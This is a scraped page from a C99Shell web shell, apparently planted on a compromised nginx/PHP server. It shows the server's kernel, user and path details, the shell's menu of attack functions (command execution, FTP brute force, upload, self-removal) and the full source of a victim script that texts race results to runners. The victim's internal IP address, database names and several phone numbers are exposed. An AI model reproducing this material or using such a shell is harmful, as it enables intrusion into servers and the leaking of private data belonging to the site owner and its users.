!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/matadin2017/Robles2017/Mailer/   drwxrwxr-x
Free 83.24 GB of 96.73 GB (86.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Mensajes.php (6.29 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
###############################################################################################################
#    Mensajes.php
#
#    Control del envio de Mensajes
#
#    Creada por:        Miguel Angel 2014-07-01
#
#    Modificada por:
#
###############################################################################################################
date_default_timezone_set('Europe/Madrid');

########## Presentacion de Datos de Debug ##########
$Debug 1;

include(
'class.MySqliDB.php');
include(
'globals.php');
########## Conexiones a BBDD ##########
$ConnectionArray= array('Server'=>Server,
                        
'Usser'=>User,
                        
'Pass'=>Pass,
                        
'Db'=>Db);
$ConnMysql= new MysqliDB($ConnectionArray);

$Sql"";
$Sql=     "SELECT CU.`Dorsal`,CU.`Categoria`,CU.`CARRERA`,CU.`Crono`,CU.`Puesto`,IU.`Telefono` FROM matadin2017.`clasificacion_unificada` CU,`inscripciones_unificada` IU
        WHERE CU.`Dorsal`=IU.`Dorsal` AND CU.`Enviado` IS NULL AND `WhatsApp`= 'SI' AND CU.`Dorsal` IN ('4','66')
        ORDER BY CU.`Puesto` ASC LIMIT 10;"
;
$ConnMysql->EnviarQuery($Sql);
$ConnMysql->ResultadoObjeto();
if(
$ConnMysql->MySqliResult->num_rows != 0)
    {
    
$AEnvio= array();
    
$AAux= array();
    foreach(
$ConnMysql->ArrayResultado as $FDatos)
        {
        
$AAux[$FDatos->Telefono]= $FDatos;
        if(
$FDatos->CARRERA == 'CORTA'){$StrCarrera'13 Km';}else{$StrCarrera'28 Km';}
        
$Texto="CARRERA MATALLANA ".$StrCarrera." - DORSAL ".$FDatos->Dorsal." - Categoria: ".$FDatos->Categoria." - Crono: ".$FDatos->Crono." - Posicion: ".$FDatos->Puesto;
        
$AEnvio[$FDatos->Telefono]=    $Texto;
        }
    
$SendURL'http://81.4.127.184/matadin2017/Robles2017/Mailer/EnvioSmsOLD.php';
    
$Post= array();$Post['Datos']= base64_encode(serialize($AEnvio));
    
$OCurl curl_init();
    
curl_setopt($OCurlCURLOPT_URL,$SendURL);
    
curl_setopt($OCurlCURLOPT_POST,1);
    
curl_setopt($OCurlCURLOPT_POSTFIELDS,$Post);
    
curl_setopt($OCurlCURLOPT_RETURNTRANSFER,1);
    if(
$Debug == 1)echo "Executing CURL.\n";
    
$Output curl_exec($OCurl);
    
curl_close($OCurl);
    if(
$Debug == 1)echo "Closing CURL.\n";
    
//Depuracion de Resultado
    
$VarReturnunserialize(base64_decode($Output));
    echo 
"\n******************************************\n";
    echo 
$Output."\n";
    
print_r($VarReturn);
    echo 
"\n******************************************\n";
    
    if(
count($VarReturn) != 0)
        {
        
$SqlUpdate'';$SqlInsercion'';$FxInserciondate('Y-m-d H:i:s');$AuxDorsal= array();
        foreach(
$VarReturn as $Telefono=>$Resultado)
            {
            
$AuxDorsal[]= $AAux[$Telefono]->Dorsal;
            
$SqlInsercion.= sprintf("INSERT INTO `matadin2017`.`resultadoSMS` (`Dorsal`,`Telefono`,`Mensaje`,`Resultado`,`FxRespuesta`) VALUES ('%s','%s','%s','%s','%s');\n",
                                    
$AAux[$Telefono]->Dorsal,$Telefono,$AEnvio[$Telefono],$Resultado,$FxInsercion);    
            }
        if(
strlen($SqlInsercion) != 0)
            {
            
$ConnMysql->EnviarInsertMv2($SqlInsercion);
            echo 
"\nRESULTADO INSERCION RESULTADOS\n";echo "<pre>";print_r($ConnMysql);echo "</pre>";//->ConnMysqli    
            
}
        
$SqlUpdatesprintf("UPDATE matadin2017.`clasificacion_unificada` SET `Enviado`= '%s' WHERE `Dorsal` IN ('%s')",$FxInsercion,implode("','",$AuxDorsal));
        
$ConnMysql->EnviarInsertMv2($SqlUpdate);
        echo 
"\nRESULTADO MARCADO DORSALES\n";echo "<pre>";print_r($ConnMysql);echo "</pre>";//->ConnMysqli        
        
}
    
    
    die();
    
    
/*
    Array
        (
        [630716546] => OK
        [691524662] => OK
        )
    */
    
    
    
if($Debug == 1)
        {
        echo 
"\n******************************************\n";
        echo 
$Output."\n";
        
print_r($VarReturn);
        echo 
"\n******************************************\n";
        }
    
    
    
print_r($Output);
    if(
$Output == 'NOK')$VarReturn'Peticion no Valida';
    else 
$VarReturnunserialize(base64_decode($Output));
    if(
$this->Debug == 1)
        {
        echo 
"\n******************************************\n";
        echo 
$Output;
        
print_r($VarReturn);
        echo 
"\n******************************************\n";
        }    
    }





require_once(
'class.Mensajes.php');


########## Librerias Especificas ##########

########## Variables ##########
$AFechas'';
########## Objetos ##########




##################################################### CODIGO #####################################################
##################################################################################################################

$OMensaje= new Mensajes();
########## Envio de Mail ##########
$Tituloutf8_encode("Título Correo SARA España");
$TextoAsunto"Esto es el cuerpo del Correo enviado por Post.<br>".date('Y-m-d H:i:s');
$Destinatarios= array('[email protected]');
$OMensaje->Prepare('CA',$Destinatarios,$Titulo,$TextoAsunto);
$ResultEnvio$OMensaje->Send('mail');
print_r($ResultEnvio);
########## Envio de Sms ##########
$Destinatarios= array('654976698');
$TextoAsunto"Esto es el cuerpo del SMS.\nSegunda linea.\n".date('Y-m-d H:i:s');
$TextoAsunto.= "\nTe informamos del Número de Incidencia abierta por el Asistente Virtual de Movistar: R8J468";
$OMensaje->Prepare('SPV',$Destinatarios,'Prueba envio SMS',$TextoAsunto);
$ResultEnvio$OMensaje->Send('sms');
print_r($ResultEnvio);

########## CREACION OBJETO LOG ##########
$OLog= array();
//$OLog['Fechas']= $AFechas;
$OLog['Cliente']= $Cliente;
$OLog['Host']= $Host;

################################################# FIN DE CODIGO ##################################################
##################################################################################################################

########## Control de Fin de Ejecucion ##########
$ArrayTiempos['Fin']= date('Y-m-d H:i:s');

########## OBJETO LOG ##########
$Inicio = new DateTime($ArrayTiempos['Inicio']);$Fin = new DateTime($ArrayTiempos['Fin']);
$TiempoScript $Fin->diff($Inicio);
$OLog['TiempoScript']= $TiempoScript->format('%H:%I:%S');
if(
$Debug == 1)    print_r($OLog);

########## Fin de la Ejecucion del Script ##########
$SqlFin'';
$SqlFinsprintf("UPDATE `ControlAutomatas`.`Aux_EjecucionAutomatas` SET
                                    `Result`= '%s',
                                    `FinEjecucion`= '%s',
                                    `Log`= '%s'
                WHERE `id`= '%s'
                AND `InicioEjecucion`=  '%s'"
,
                                
1,
                                
$ArrayTiempos['Fin'],
                                
serialize((object)$OLog),
                                
$IdRegistroEjecucion,
                                
$ArrayTiempos['Inicio']); $ConnMysql->EnviarInsertM($SqlFin);  
if(
$Debug == 1)print_r($ConnMysql);    

print_r($ArrayTiempos);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]--